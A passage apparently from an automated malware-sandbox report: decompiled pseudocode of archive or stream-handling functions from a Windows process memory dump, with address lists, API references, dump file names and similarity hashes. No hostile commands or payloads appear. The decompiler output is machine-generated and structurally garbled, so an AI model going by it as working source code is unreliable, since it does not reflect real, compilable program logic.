														 *((intOrPtr*)(_t463 + 0x9c)) =  *((intOrPtr*)(_t647 - 0x84));
														 *((intOrPtr*)(_t463 + 0xa0)) =  *((intOrPtr*)(_t647 - 0x80));
														 *((char*)(_t647 - 0xa0)) = _t463 & 0xffffff00 | __eflags != 0x00000000;
														_push(_t647 - 0x64);
														_push( *(_t647 + 0x28));
														_push(_t644);
														_push( *((intOrPtr*)(_t647 + 0x20)));
														asm("adc ecx, [ebp-0x98]");
														_push( *((intOrPtr*)(_t647 - 0xa0)));
														_push( *(_t647 + 0x18));
														_push( *((intOrPtr*)(_t647 + 0x14)));
														_push( *(_t647 - 0xec));
														_push( *(_t647 - 0xf0) +  *((intOrPtr*)(_t647 - 0x9c))); // executed
														_t468 = E012498A7( *((intOrPtr*)(_t647 - 0x3c)), _t647 - 0x108, __eflags); // executed
														__eflags = _t468;
														 *(_t647 - 0x2c) = _t468;
														if(_t468 != 0) {
															E01231ABD(_t468,  *((intOrPtr*)(_t647 - 0x118)));
															 *(_t647 - 4) = 6;
															E01249E21(_t647 - 0x5c);
															 *(_t647 - 4) = 5;
															_t401 = E01231ABD(E012497A0(_t525, _t647 - 0x108),  *((intOrPtr*)(_t647 - 0x74)));
															__eflags = _t644;
															 *(_t647 - 4) = 2;
															if(_t644 != 0) {
																_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
															}
															_t646 =  *(_t647 - 0x2c);
															goto L98;
														}
														_t473 =  *(_t647 + 0x18);
														__eflags = _t473[0x24];
														if(_t473[0x24] != 0) {
															_t579 =  *((intOrPtr*)(_t647 - 0x64));
														} else {
															_t579 =  *(_t647 - 0xf0) +  *((intOrPtr*)(_t647 - 0x9c));
															asm("adc edx, [ebp-0x98]");
															 *((intOrPtr*)(_t647 - 0x64)) = _t579;
															 *(_t647 - 0x60) =  *(_t647 - 0xec);
														}
														 *((intOrPtr*)(_t647 - 0x38)) =  *((intOrPtr*)(_t647 - 0x38)) + _t579;
														asm("adc [ebp-0x34], edx");
														 *((intOrPtr*)( *((intOrPtr*)(_t644 + 0x154)) + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)(_t644 + 0x154)) + 0x20)) + _t579;
														asm("adc [eax+0x24], edx");
														_t475 =  *((intOrPtr*)(_t644 + 0x154));
														 *(_t475 + 0x28) =  *(_t644 + 0x170);
														 *(_t475 + 0x2c) =  *(_t644 + 0x174);
														_t476 =  *(_t647 + 0x28);
														__eflags = _t476[4];
														if(_t476[4] != 0) {
															E01231ABD(_t476,  *((intOrPtr*)(_t647 - 0x118)));
															 *(_t647 - 4) = 6;
															E01249E21(_t647 - 0x5c);
															 *(_t647 - 4) = 5;
															_t401 = E01231ABD(E012497A0(_t525, _t647 - 0x108),  *((intOrPtr*)(_t647 - 0x74)));
															__eflags = _t644;
															 *(_t647 - 4) = 2;
															if(_t644 != 0) {
																_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
															}
															_t646 = 0x80004005;
															goto L98;
														} else {
															L67:
															E01231ABD(_t476,  *((intOrPtr*)(_t647 - 0x118)));
															 *(_t647 - 4) = 6;
															E01249E21(_t647 - 0x5c);
															 *(_t647 - 4) = 5;
															_t483 = E012497A0(_t525, _t647 - 0x108); // executed
															 *(_t647 - 4) = 4;
															E01231ABD(_t483,  *((intOrPtr*)(_t647 - 0x74)));
															goto L68;
														}
													}
													__eflags =  *((char*)(_t647 - 0x77));
													if( *((char*)(_t647 - 0x77)) != 0) {
														goto L61;
													}
													_push(1);
													_pop(0);
													goto L62;
												}
												__eflags =  *(_t647 - 0xf8);
												if(__eflags == 0) {
													goto L58;
												}
												_t485 =  *(_t647 - 0xf0);
												_t591 =  *(_t647 - 0xec);
												 *(_t647 - 0x44) = _t485;
												 *(_t647 - 0x40) = _t591;
												 *(_t647 - 0x10) = 0;
												if(__eflags <= 0) {
													L52:
													__eflags = _t485 | _t591;
													if((_t485 | _t591) == 0) {
														goto L58;
													}
													_t486 = _t485 +  *(_t647 - 0x24);
													asm("adc ecx, [ebp-0x20]");
													__eflags = _t591;
													if(__eflags > 0) {
														L57:
														 *(_t647 - 0x24) = _t486;
														 *(_t647 - 0x20) = _t591;
														_t487 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t647 + 0x20)))) + 0xc))( *((intOrPtr*)(_t647 + 0x20)), _t486, _t591);
														__eflags = _t487;
														 *(_t647 - 0x2c) = _t487;
														if(_t487 != 0) {
															E01231ABD(_t487,  *((intOrPtr*)(_t647 - 0x118)));
															 *(_t647 - 4) = 6;
															E01249E21(_t647 - 0x5c);
															 *(_t647 - 4) = 5;
															_t401 = E01231ABD(E012497A0(_t525, _t647 - 0x108),  *((intOrPtr*)(_t647 - 0x74)));
															__eflags = _t644;
															 *(_t647 - 4) = 2;
															if(_t644 != 0) {
																_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
															}
															_t646 =  *(_t647 - 0x2c);
															goto L98;
														}
														goto L58;
													}
													if(__eflags < 0) {
														L56:
														_t486 = 0;
														_t591 = 0;
														__eflags = 0;
														goto L57;
													}
													__eflags = _t486;
													if(_t486 >= 0) {
														goto L57;
													}
													goto L56;
												} else {
													goto L47;
												}
												do {
													L47:
													_t493 = E01248D25( *((intOrPtr*)( *((intOrPtr*)(_t647 - 0xfc)) +  *(_t647 - 0x10) * 4)));
													__eflags = _t493;
													if(_t493 >= 0) {
														__eflags = _t493 -  *(_t647 - 0x28);
														if(_t493 >  *(_t647 - 0x28)) {
															 *((char*)( *(_t647 - 0x1c) + _t493)) = 1;
															 *(_t647 - 0x44) =  *(_t647 - 0x44) -  *((intOrPtr*)( *((intOrPtr*)(_t647 - 0x50)) + _t493 * 8));
															asm("sbb [ebp-0x40], eax");
														}
													}
													 *(_t647 - 0x10) =  *(_t647 - 0x10) + 1;
													__eflags =  *(_t647 - 0x10) -  *(_t647 - 0xf8);
												} while ( *(_t647 - 0x10) <  *(_t647 - 0xf8));
												_t591 =  *(_t647 - 0x40);
												_t485 =  *(_t647 - 0x44);
												goto L52;
											}
											_t476 =  *(_t647 + 0x18);
											 *(_t647 - 0x15) = 1;
											__eflags = _t476[0x24];
											if(_t476[0x24] == 0) {
												E01235C60(_t647 - 0x198);
												E012328E9(_t647 - 0x170);
												 *(_t647 - 4) = 9;
												_t499 = E01235D00(_t647 - 0x198, __eflags,  *((intOrPtr*)( *((intOrPtr*)(_t647 - 0x30)))));
												__eflags = _t499;
												if(_t499 != 0) {
													_t499 =  *(_t647 - 0x178) >> 4;
													__eflags = _t499 & 0x00000001;
													if((_t499 & 0x00000001) == 0) {
														_t499 =  *(_t647 - 0x198);
														 *((intOrPtr*)(_t647 - 0x38)) =  *((intOrPtr*)(_t647 - 0x38)) +  *(_t647 - 0x198);
														asm("adc [ebp-0x34], ecx");
													}
												}
												_t476 = E01231ABD(_t499,  *((intOrPtr*)(_t647 - 0x170)));
											}
											goto L67;
										}
										__eflags =  *(_t647 - 0xcc);
										if( *(_t647 - 0xcc) < 0) {
											goto L37;
										}
										 *(_t647 - 0x10) = 1;
										goto L36;
									}
									 *((intOrPtr*)(_t647 - 0x9c)) = 0;
									 *((intOrPtr*)(_t647 - 0x98)) = 0;
									 *(_t647 - 0x7c) = 0;
									goto L32;
									L68:
									_t399 =  *(_t647 - 0x28) + 1;
									__eflags = _t399 -  *(_t647 - 0x14);
									 *(_t647 - 0x28) = _t399;
								} while (_t399 <  *(_t647 - 0x14));
								goto L69;
							} else {
								_t501 =  *((intOrPtr*)(_t647 + 0x20));
								_t401 =  *((intOrPtr*)( *_t501 + 0xc))(_t501,  *(_t647 - 0x24),  *(_t647 - 0x20));
								 *(_t647 - 0x28) = _t401;
								if(_t401 == 0) {
									goto L26;
								}
								 *(_t647 - 4) = 2;
								if(_t644 != 0) {
									_t401 =  *((intOrPtr*)( *_t644 + 8))(_t644);
								}
								_t646 =  *(_t647 - 0x28);
								L98:
								E01231ABD(E01231ABD(_t401,  *(_t647 - 0x1c)),  *((intOrPtr*)(_t647 - 0x50)));
								_t419 = _t646;
								L102:
								 *[fs:0x0] =  *((intOrPtr*)(_t647 - 0xc));
								return _t419;
							}
						}
						if(( *(_t647 - 0x7c) >> 0x00000004 & 0x00000001) != 0) {
							goto L17;
						}
						L7:
						E01239123(_t647 - 0x50,  *((intOrPtr*)(_t647 - 0x9c)),  *((intOrPtr*)(_t647 - 0x98)));
						 *(_t647 - 0x24) =  *(_t647 - 0x24) +  *((intOrPtr*)(_t647 - 0x9c));
						asm("adc [ebp-0x20], ecx");
						 *(_t647 - 4) =  *(_t647 - 4) & 0x00000000;
						_t394 = E01231ABD( *((intOrPtr*)(_t647 - 0x9c)),  *((intOrPtr*)(_t647 - 0x74)));
						_t636 = _t636 + 1;
					} while (_t636 <  *(_t647 - 0x14));
					goto L8;
				}
			}

0x01248d6e
0x01248d73
0x01248d7f
0x01248d85
0x01248d88
0x01248d8b
0x01248d8e
0x01248d91
0x01248d94
0x01248d97
0x01248d9a
0x01248da0
0x01248da3
0x01248da6
0x01248da9
0x01248dac
0x01248daf
0x01248db2
0x01248db5
0x01248db8
0x01248dbb
0x01248dbe
0x01248dc1
0x01248dc4
0x01248dc7
0x01248dca
0x01248dd1
0x01248ddf
0x01248de2
0x01248dd3
0x01248dd3
0x01248dd3
0x01248de5
0x01248dea
0x01248e84
0x01248e87
0x01248e8a
0x01248e9e
0x01248e9e
0x01248ea4
0x01248ea8
0x01248eaa
0x01248ead
0x01248eb0
0x01248eb4
0x01248ebe
0x01248ebe
0x01248ec0
0x01248ec5
0x01248ecb
0x01248ece
0x01248ed0
0x01248ed4
0x00000000
0x01248ed6
0x01248ed8
0x01248edd
0x00000000
0x01248edd
0x01248df0
0x01248df0
0x01248df6
0x01248dfe
0x01248e03
0x01248e06
0x01248e0a
0x01248e10
0x01248e16
0x01248e1a
0x00000000
0x00000000
0x01248e2c
0x01248e33
0x01248ee4
0x01248ee9
0x01248eea
0x01248ef1
0x01248ef6
0x01248ef9
0x01248efe
0x01248eff
0x01248f06
0x01248f0b
0x01248f0b
0x01248f0b
0x01248f0d
0x01248f0f
0x01248f15
0x01248f1b
0x01248f20
0x01248f20
0x01248f23
0x01248f2d
0x01248f37
0x01248f3a
0x01248f3e
0x01248f41
0x01248f47
0x01248f4d
0x01248f53
0x01248f59
0x01248f61
0x01248f64
0x01248f6a
0x01248f6d
0x01248f73
0x01248f79
0x01248f7f
0x01248f85
0x01248f8b
0x01248f94
0x01248fc2
0x01248fc2
0x01248fc6
0x01248fc8
0x01248fcb
0x01248fce
0x01248fd1
0x01248fd4
0x012493a8
0x012493a8
0x012493ac
0x012493b8
0x012493bb
0x012493c4
0x012493c7
0x012493c9
0x012493cc
0x01249578
0x01249578
0x01249582
0x01249585
0x01249587
0x0124958a
0x012495b6
0x012495bc
0x012495be
0x012495c7
0x012495d0
0x012495d9
0x012495e2
0x012495eb
0x012495f4
0x012495fd
0x01249606
0x0124960f
0x01249615
0x0124961c
0x0124961e
0x01249621
0x0124962a
0x0124962d
0x01249630
0x01249633
0x01249638
0x01249638
0x01249646
0x0124964c
0x0124964c
0x00000000
0x0124964e
0x0124958c
0x0124958e
0x01249592
0x01249597
0x01249597
0x0124959a
0x00000000
0x0124959a
0x012493d2
0x012493d4
0x012493d8
0x012493dd
0x012493dd
0x012493e0
0x00000000
0x012493e0
0x012493ae
0x012493b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01248fda
0x01248fda
0x01248fda
0x01248fdd
0x01248fe1
0x00000000
0x00000000
0x01248ff8
0x01248ffb
0x01249003
0x0124900b
0x0124900f
0x01249013
0x01249031
0x01249036
0x01249038
0x01249563
0x01249566
0x0124956b
0x0124956c
0x01249573
0x00000000
0x01249573
0x01249041
0x01249044
0x01249046
0x00000000
0x00000000
0x0124904c
0x01249061
0x01249064
0x01249066
0x01249069
0x012493eb
0x012493f0
0x012493f3
0x012493f7
0x012493fc
0x012493fc
0x012493ff
0x00000000
0x012493ff
0x01249075
0x0124907a
0x01249083
0x01249087
0x01249092
0x01249096
0x0124909b
0x012490a1
0x012490a5
0x012490b1
0x012490ba
0x012490c3
0x012490cc
0x012490d8
0x012490de
0x012490f3
0x012490f8
0x012490fa
0x012490fd
0x0124910e
0x0124910e
0x01249115
0x0124940d
0x01249413
0x0124941a
0x01249425
0x01249431
0x01249436
0x01249439
0x0124943d
0x01249442
0x01249442
0x01249445
0x00000000
0x01249445
0x0124911b
0x01249133
0x01249136
0x01249138
0x0124913b
0x01249455
0x0124945b
0x01249462
0x0124946d
0x01249479
0x0124947e
0x01249481
0x01249485
0x0124948a
0x0124948a
0x0124948d
0x00000000
0x0124948d
0x01249141
0x01249144
0x012491b5
0x012491b8
0x012491bc
0x01249268
0x01249274
0x01249278
0x0124927b
0x0124927f
0x0124928c
0x0124928c
0x0124928e
0x0124928e
0x01249291
0x012492a3
0x012492ac
0x012492bb
0x012492c4
0x012492cb
0x012492d4
0x012492d5
0x012492d8
0x012492de
0x012492e4
0x012492e7
0x012492ea
0x012492ee
0x012492ef
0x012492f4
0x012492f6
0x012492f9
0x012494e1
0x012494e7
0x012494ee
0x012494f9
0x01249505
0x0124950a
0x0124950d
0x01249511
0x01249516
0x01249516
0x01249519
0x00000000
0x01249519
0x012492ff
0x01249302
0x01249306
0x0124932b
0x01249308
0x01249314
0x0124931a
0x01249320
0x01249323
0x01249323
0x0124932e
0x01249331
0x0124933a
0x0124933d
0x01249340
0x0124934c
0x01249355
0x01249358
0x0124935b
0x0124935e
0x01249524
0x0124952a
0x01249531
0x0124953c
0x01249548
0x0124954d
0x01249550
0x01249554
0x01249559
0x01249559
0x0124955c
0x00000000
0x01249364
0x01249364
0x0124936a
0x01249370
0x01249377
0x01249382
0x01249386
0x0124938b
0x01249392
0x00000000
0x01249397
0x0124935e
0x01249281
0x01249285
0x00000000
0x00000000
0x01249287
0x01249289
0x00000000
0x01249289
0x012491c2
0x012491c8
0x00000000
0x00000000
0x012491ce
0x012491d4
0x012491da
0x012491dd
0x012491e0
0x012491e3
0x01249230
0x01249232
0x01249234
0x00000000
0x00000000
0x01249236
0x01249239
0x0124923c
0x0124923e
0x0124924a
0x0124924f
0x01249257
0x0124925a
0x0124925d
0x0124925f
0x01249262
0x0124949b
0x012494a1
0x012494a8
0x012494b3
0x012494bf
0x012494c4
0x012494c7
0x012494cb
0x012494d0
0x012494d0
0x012494d3
0x00000000
0x012494d3
0x00000000
0x01249262
0x01249240
0x01249246
0x01249246
0x01249248
0x01249248
0x00000000
0x01249248
0x01249242
0x01249244
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x012491e5
0x012491e5
0x012491f4
0x012491f9
0x012491fb
0x012491fd
0x01249200
0x01249205
0x0124920f
0x01249219
0x01249219
0x01249200
0x0124921c
0x01249222
0x01249222
0x0124922a
0x0124922d
0x00000000
0x0124922d
0x01249146
0x01249149
0x0124914d
0x01249151
0x0124915d
0x01249168
0x01249176
0x0124917c
0x01249181
0x01249183
0x0124918b
0x0124918e
0x01249190
0x01249192
0x0124919e
0x012491a1
0x012491a1
0x01249190
0x012491aa
0x012491af
0x00000000
0x01249151
0x012490ff
0x01249105
0x00000000
0x00000000
0x01249107
0x00000000
0x01249107
0x01249015
0x0124901b
0x01249021
0x00000000
0x01249398
0x0124939b
0x0124939c
0x0124939f
0x0124939f
0x00000000
0x01248f96
0x01248f99
0x01248fa2
0x01248fa7
0x01248faa
0x00000000
0x00000000
0x01248fae
0x01248fb2
0x01248fb7
0x01248fb7
0x01248fba
0x0124959d
0x012495a8
0x012495ae
0x0124964f
0x01249655
0x0124965d
0x0124965d
0x01248f94
0x01248e41
0x00000000
0x00000000
0x01248e47
0x01248e56
0x01248e67
0x01248e6d
0x01248e70
0x01248e74
0x01248e79
0x01248e7b
0x00000000
0x01248df0

APIs

__EH_prolog.LIBCMT ref: 01248D73
_CxxThrowException.MSVCRT(?,0126D248), ref: 01248EF1
_CxxThrowException.MSVCRT(?,0126D248), ref: 01249573
_CxxThrowException.MSVCRT(012697A4,0126D248), ref: 01248F06

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Part of subcall function 012497A0: __EH_prolog.LIBCMT ref: 012497A5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ExceptionThrow$H_prolog$free
String ID:
API String ID: 1223536468-0
Opcode ID: 32a5d27a79249e8426f83d7c93123e7217e67f92590b9ba8e823d06aa4afba56
Instruction ID: a2cc6d727192b6abe3540c3ececf2beea24cda0c8b05b2512dfb41c1514d5685
Opcode Fuzzy Hash: 32a5d27a79249e8426f83d7c93123e7217e67f92590b9ba8e823d06aa4afba56
Instruction Fuzzy Hash: 2D624A70D20259DFCF29DFA8C884AEEBBF5BF59304F14419AE949A7251C7709A81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0124F7EB Relevance: 6.6, APIs: 3, Strings: 1, Instructions: 624
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0124F7EB(void* __ebx) {
				intOrPtr* _t1078;
				void* _t1084;
				void* _t1085;
				void* _t1086;
				void* _t1090;
				void* _t1093;

				_t1085 = __ebx;
				 *((char*)(_t1093 - 0xe)) = 1;
				 *(__ebp - 0x7c) = __ebx;
				 *(__ebp - 0x78) = __ebx;
				 *(__ebp - 0x74) = __ebx;
				 *(__ebp - 0x20) =  *(__ebp - 0x20) | 0xffffffff;
				__eflags =  *((intOrPtr*)(__ebp - 0x88)) - __ebx;
				 *((char*)(__ebp - 4)) = 0xd;
				 *(__ebp - 0x2c) = __ebx;
				if( *((intOrPtr*)(__ebp - 0x88)) <= __ebx) {
					L38:
					__eflags =  *(__ebp - 0x78) - __ebx;
					 *(__ebp - 0x2c) = __ebx;
					if( *(__ebp - 0x78) <= __ebx) {
						L128:
						__eax = E01231ABD(__eax,  *(__ebp - 0x70));
						 *(__ebp - 0xd4) = __ebx;
						 *(__ebp - 0xd0) = __ebx;
						 *(__ebp - 0xcc) = __ebx;
						 *(__ebp - 0xe0) = __ebx;
						 *(__ebp - 0xdc) = __ebx;
						 *(__ebp - 0xd8) = __ebx;
						__eax =  *(__ebp + 8);
						 *((char*)(__ebp - 4)) = 0x11;
						 *(__ebp - 0x20) = __ebx;
						__edi = 0;
						__eax =  *( *(__ebp + 8));
						__eflags =  *((intOrPtr*)(__eax + 0x2c)) - __ebx;
						if( *((intOrPtr*)(__eax + 0x2c)) <= __ebx) {
							L132:
							__esi = 0x10000;
							 *(__ebp - 0x14) = __ebx;
							_push(0x10000);
							__eax = E01231A96();
							 *(__ebp - 0xac) = __eax;
							 *(__ebp - 0x14) = __eax;
							__edi = 0xff;
							__eax = memset(__eax, 0xff, 0x10000);
							__esi = 0x100;
							__eax = __ebp - 0x2cc;
							__eax = memset(__ebp - 0x2cc, 0xff, 0x100);
							__eflags =  *(__ebp - 0xdc) - 0xff;
							if( *(__ebp - 0xdc) < 0xff) {
								 *(__ebp - 0x7c) = __ebx;
								 *(__ebp - 0x78) = __ebx;
								 *(__ebp - 0x74) = __ebx;
								 *((char*)(__ebp - 4)) = 0x13;
								 *(__ebp - 0x50) = __ebx;
								__eax = E01231A96();
								__ecx = 0x100;
								 *(__ebp - 0x50) = __eax;
								 *((char*)(__ebp - 4)) = 0x14;
								__eax = 0;
								__eflags = 0;
								do {
									__ecx =  *(__ebp - 0x50);
									 *(__eax +  *(__ebp - 0x50)) = __bl;
									__eax = __eax + 1;
									__eflags = __eax - 0x100;
								} while (__eax < 0x100);
								__eax = 0;
								__eflags =  *((intOrPtr*)(__ebp - 0x88)) - __ebx;
								 *(__ebp - 0x20) = 0;
								if( *((intOrPtr*)(__ebp - 0x88)) <= __ebx) {
									L150:
									__edi =  *(__ebp - 0x30);
									__eax =  *( *(__ebp - 0x30));
									__ecx =  *__eax;
									__eax =  *((intOrPtr*)( *__eax + 0x10))(__eax, __ebx, __ebx, __ebx, __ebx);
									__esi = __eax;
									__eflags = __esi - __ebx;
									if(__esi != __ebx) {
										L438:
										__eax = E01231ABD(__eax,  *(__ebp - 0x50));
										__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
										__eax = E01231ABD(__eax,  *(__ebp - 0x14));
										__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
										__eax =  *(__ebp - 0x1c);
										__eflags = __eax - __ebx;
										 *((char*)(__ebp - 4)) = 0xa;
										if(__eax != __ebx) {
											__ecx =  *__eax;
											__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
										}
										__eax =  *(__ebp - 0x24);
										 *((char*)(__ebp - 4)) = 6;
										__eflags = __eax - __ebx;
										if(__eax != __ebx) {
											__ecx =  *__eax;
											__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
										}
										L463:
										__eax = E01231ABD(__eax,  *(__ebp - 0x58));
										__eax = E01231ABD(__eax,  *(__ebp - 0x38));
										__eax = E01231ABD(__eax,  *(__ebp - 0x8c));
										__eax = E01231ABD(__eax,  *(__ebp - 0xec));
										__eax = __esi;
										goto L465;
									}
									__eax = E01231A96();
									__eflags = __eax - __ebx;
									__ecx = 0x48;
									if(__eax == __ebx) {
										__esi = 0;
										__eflags = 0;
									} else {
										 *__eax = 0x1268454;
										 *__eax = 0x1269bac;
										 *(__eax + 4) = __ebx;
										 *(__eax + 8) = __ebx;
										 *(__eax + 0x3c) = __ebx;
										 *(__eax + 0x40) = __ebx;
										 *__eax = 0x1269b98;
										__esi = __eax;
									}
									__eflags = __esi - __ebx;
									 *(__ebp - 0x28) = __esi;
									 *(__ebp - 0x68) = __esi;
									if(__esi != __ebx) {
										__eax =  *__esi;
										__eax =  *((intOrPtr*)( *__esi + 4))(__esi);
									}
									 *((char*)(__ebp - 4)) = 0x15;
									_t356 = __esi + 8; // 0x8
									__ecx = _t356;
									__eax = E01240E48(_t356,  *__edi);
									 *(__ebp - 0xa8) = __ebx;
									 *(__ebp - 0x5c) = __ebx;
									__eax =  *(__ebp + 8);
									 *((char*)(__ebp - 4)) = 0x16;
									__eflags =  *((intOrPtr*)(__eax + 0x38)) - __ebx;
									if( *((intOrPtr*)(__eax + 0x38)) != __ebx) {
										__eax = E01231A96();
										__ecx = 0x30;
										 *(__ebp - 0xb0) = __eax;
										__eflags = __eax - __ebx;
										 *((char*)(__ebp - 4)) = 0x17;
										if(__eax == __ebx) {
											__esi = 0;
											__eflags = 0;
										} else {
											__ecx = __eax;
											__esi = __eax;
										}
										__ecx = __ebp - 0x5c;
										 *((char*)(__ebp - 4)) = 0x16;
										 *(__ebp - 0xa8) = __esi;
										E01240E48(__ebp - 0x5c, __esi) =  *(__ebp + 8);
										_t368 = __esi + 0x10; // 0x10
										__edi = _t368;
										__ecx = __edi;
										__eax = E01240E48(__edi,  *( *(__ebp + 8) + 0x38));
										__eax =  *__edi;
										_t370 = __esi + 0x14; // 0x14
										__edx = _t370;
										__ecx =  *__eax;
										__eax =  *( *__eax)(__eax, 0x126c4c8, __edx);
										__edi =  *__edi;
										__esi = __esi + 0x28;
										__eflags = __esi;
										__eax =  *__edi;
										__eax =  *( *__edi)(__edi, 0x126c408, __esi);
									}
									__eax =  *(__ebp + 8);
									__eax =  *( *(__ebp + 8) + 0x38);
									__eflags = __eax - __ebx;
									if(__eax == __ebx) {
										L163:
										 *(__ebp - 0x28) =  *(__ebp - 0x28) + 0x3c;
										__ecx =  *(__ebp - 0x28) + 0x3c;
										__eax = E0123705A( *(__ebp - 0x28) + 0x3c, 0x400000);
										__eax =  *(__ebp - 0x48);
										__edi = 0;
										 *(__ebp - 0xf8) = __ebx;
										 *(__ebp - 0xf4) = __ebx;
										 *(__ebp - 0x70) = 0;
										 *(__ebp - 0x6c) = __ebx;
										__eflags =  *((intOrPtr*)(__eax + 0x13)) - __bl;
										 *(__ebp - 0xf) = 1;
										 *(__ebp - 0x15) = __bl;
										 *(__ebp - 0x2c) = __ebx;
										 *(__ebp - 0x44) = __ebx;
										 *(__ebp - 0x40) = __ebx;
										if( *((intOrPtr*)(__eax + 0x13)) == __bl) {
											__eax =  *(__ebp - 0x80);
											__eflags =  *((intOrPtr*)(__eax + 0x10)) - 1;
											if( *((intOrPtr*)(__eax + 0x10)) == 1) {
												__eax =  *(__eax + 0xc);
												__eax =  *__eax;
												__eflags =  *((intOrPtr*)(__eax + 0x6c)) - __bl;
												if( *((intOrPtr*)(__eax + 0x6c)) == __bl) {
													 *__eax =  *__eax |  *(__eax + 4);
													__eflags =  *__eax |  *(__eax + 4);
													if(( *__eax |  *(__eax + 4)) == 0) {
														__ecx =  *(__eax + 8);
														__eax =  *(__eax + 0xc);
														 *(__ebp - 0x44) = __ecx;
														 *(__ebp - 0x40) = __eax;
													}
												}
											}
										}
										while(1) {
											__esi =  *(__ebp - 0x44);
											__eax =  *(__ebp - 0x40);
											__esi =  *(__ebp - 0x44) - __edi;
											asm("sbb eax, [ebp-0x6c]");
											__eflags =  *(__ebp - 0x15) - __bl;
											if( *(__ebp - 0x15) != __bl) {
												goto L186;
											}
											L169:
											__edx =  *(__ebp - 0x2c);
											__eflags = __edx - 0x400000;
											if(__edx >= 0x400000) {
												__ecx = 0;
												__eflags = 0 - __eax;
												if(__eflags > 0) {
													L183:
													__edx = __edx - __esi;
													__eflags = __edx;
													asm("sbb ecx, eax");
													 *(__ebp - 0xb0) = __ecx;
													if(__edx != 0) {
														goto L186;
													}
													__eflags = __edx - 0x100000;
													if(__edx >= 0x100000) {
														goto L186;
													}
													__eax =  *(__ebp - 0x28);
													__edi =  *(__ebp - 0x2c);
													__eax =  *(__ebp - 0x28) + 0x3c;
													__esi = __esi + 0xffff0000;
													__edi =  *(__ebp - 0x2c) - __esi;
													__eax =  *( *(__ebp - 0x28) + 0x3c);
													__ecx = __eax + __esi;
													__eax = memmove(__eax, __eax + __esi, __edi);
													 *(__ebp - 0x70) =  *(__ebp - 0x70) + __esi;
													 *(__ebp - 0x2c) = __edi;
													asm("adc [ebp-0x6c], ebx");
													L367:
													__edi =  *(__ebp - 0x70);
													continue;
													do {
														while(1) {
															__esi =  *(__ebp - 0x44);
															__eax =  *(__ebp - 0x40);
															__esi =  *(__ebp - 0x44) - __edi;
															asm("sbb eax, [ebp-0x6c]");
															__eflags =  *(__ebp - 0x15) - __bl;
															if( *(__ebp - 0x15) != __bl) {
																goto L186;
															}
															goto L169;
														}
														goto L186;
														L213:
														__eax = __eax - __esi;
														__ecx = __eax - __esi -  *(__ebp - 0x108);
														 *(__ebp - 0x44) =  *(__ebp - 0x44) + __ecx;
														 *(__ebp - 0x104) = __ecx;
														asm("adc [ebp-0x40], ebx");
														__eflags = __eax -  *(__ebp - 0x4c);
													} while (__eax ==  *(__ebp - 0x4c));
													L214:
													__eax =  *__eax & 0x0000ffff;
													__ecx =  *(__ebp - 0xac);
													 *(__ebp - 0xa1) = 1;
													 *(__ebp - 0x108) = __ebx;
													 *(__ebp - 0x5e) = __bl;
													 *(__ebp - 0x4c) = __eax;
													while(1) {
														__esi =  *(__ebp - 0x28);
														while(1) {
															L216:
															__eflags =  *(__ebp - 0xf) - __bl;
															if( *(__ebp - 0xf) == __bl) {
																goto L219;
															}
															L217:
															__ecx =  *(__ebp - 0x108);
															__eflags = __ecx -  *(__ebp - 0x78);
															if(__ecx >=  *(__ebp - 0x78)) {
																goto L219;
															}
															__eax = __ecx;
															 *(__ebp - 0xd) = 1;
															__eax = __ecx << 2;
															 *(__ebp - 0x108) = __ecx;
															__ecx =  *(__ebp - 0x7c);
															__edi =  *( *(__ebp - 0x7c) + __eax);
															 *(__ebp - 0x34) = __edi;
															L231:
															__eax =  *(__ebp + 8);
															__eflags =  *(__ebp - 0xd) - __bl;
															 *( *(__ebp + 8)) =  *( *( *(__ebp + 8)) + 0x28);
															__ecx =  *( *( *( *(__ebp + 8)) + 0x28) + __edi * 4);
															 *(__ebp - 0x10c) = __ecx;
															if( *(__ebp - 0xd) == __bl) {
																L233:
																__eax =  *(__ecx + 0x2c);
																__edx = 0;
																__eflags =  *(__ecx + 0x2c) -  *(__ebp - 0x44);
																if( *(__ecx + 0x2c) !=  *(__ebp - 0x44)) {
																	L236:
																	__edi =  *(__ebp - 0x44);
																	__edx =  *(__ebp - 0x40);
																	__eflags =  *(__ebp - 0xd) - __bl;
																	 *(__ebp - 0x98) = __edi;
																	 *(__ebp - 0x94) = __edx;
																	if( *(__ebp - 0xd) != __bl) {
																		L241:
																		__ecx =  *(__ecx + 8);
																		__eflags = __ecx - __ebx;
																		 *(__ebp - 0x20) = __ecx;
																		if(__ecx == __ebx) {
																			L249:
																			__eax =  *(__ebp - 0x38);
																			__ecx =  *(__ebp - 0x34);
																			__eflags =  *((intOrPtr*)(__ebp - 0x5d)) - __bl;
																			__al =  *((intOrPtr*)( *(__ebp - 0x34) +  *(__ebp - 0x38)));
																			if(__eflags == 0) {
																				__eflags = __al - __bl;
																				if(__eflags == 0) {
																					__eflags =  *((intOrPtr*)(__ebp - 0x39)) - __bl;
																					__eax =  *(__ebp - 0x48);
																					if(__eflags == 0) {
																						__eax = __eax + 0xa;
																						__eflags = __eax;
																					} else {
																						__eax = __eax + 0xd;
																					}
																				} else {
																					__eax =  *(__ebp - 0x48);
																					__eax =  *(__ebp - 0x48) + 7;
